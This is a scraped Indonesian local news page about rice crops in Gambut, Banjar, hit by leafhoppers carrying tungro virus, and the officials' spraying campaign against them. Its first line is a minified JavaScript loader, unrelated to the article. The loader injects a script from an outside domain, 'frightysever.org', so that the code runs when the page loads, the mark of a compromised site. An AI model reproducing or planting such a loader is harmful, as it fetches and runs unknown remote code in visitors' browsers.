(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Tanaman Padi di Gambut Diserang Hama, Petani Lakukan Penyemprotan


KANALKALIMANTAN.COM, MARTAPURA – Petugas Pengendali Organisme Pengganggu Tanaman (POPT) dan PPL Kecamatan Gambut melakukan penyemprotan massal dan sosialisasi cara mengendalikan wereng hijau vektor dari virus tungro.

Petugas POPT Kecamatan Gambut, Mawaddah saat ditemui di Balai Penyuluhan Pertanian Gambut, Senin (13/6/2022), mengatakan, penyemprotan dilakukan dengan bahan pengendali berupa Agen Pengendalian Hayati (APH) seperti PGPR, pestisida nabati dan metarizep, serta Insektisida yang berasal dari bantuan BPTPH Provinsi Kalimantan Selatan.

Mawaddah menjelaskan, kondisi di lapangan sangat bervariasi. Untuk tanaman yang sudah memasuki fase generatif, lebih dua bulan sudah mulai terlihat perubahan ke arah menghijau ada di Desa Banyu Hirang, Kelurahan Gambut, Desa Kayu Bawang, Kaladan Baru dan Sungai Kupang.

“Alhamdulillah, di Desa Kaladan Baru oleh Kelompok Tani Karya Bersama bersama Balai Perlindungan Tanaman Pangan dan Hortikultura dan hasilnya ada sebagian tanaman padi penyintas tungro yang sudah mulai keluar bulir atau malai,” ungkap petugas POPT.

 

 

Baca juga: Tiga Balai Desa di Gambut Diterjang Puting Beliung, 10 Rumah dan 1 Langgar Rusak

Ditambahkannya, untuk tanaman padi yang masih baru tanam umur di bawah 60 hari, masih dalam masa recovery dari penyakit.

Sementara itu, dari Dinas Pertanian Kabupaten Banjar melalui Kabid Penanggulangan Bencana Pertanian Zulkifli mengatakan, sudah menindaklanjuti dengan turun langsung melalui gerakan pengendalian yang dilaksanakan, serta memberikan bahan pengendali.

Zulkifli mengatakan, mengenai hama yang menyerang tanaman padi yang sulit dikendalikan. Penyebabnya adalah petani masih menggunakan bibit lokal dan pola tanamnya yang tidak serentak.

“Solusi yang bisa diambil untuk permasalahan hama ini yaitu dengan cara penyemprotan pestisida yang telah diberikan kepada petani,” ujar Kabid Penanggulangan Bencana Pertanian.

Tanaman petani yang paling terdampak hama tersebut berada di tiga kecamatan, antara lain Kecamatan Gambut, Tatah Makmur dan Kecamatan Beruntung Baru. (Kanalkalimantan.com/mcbanjar)

Reporter : mcbanjar
Editor : kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.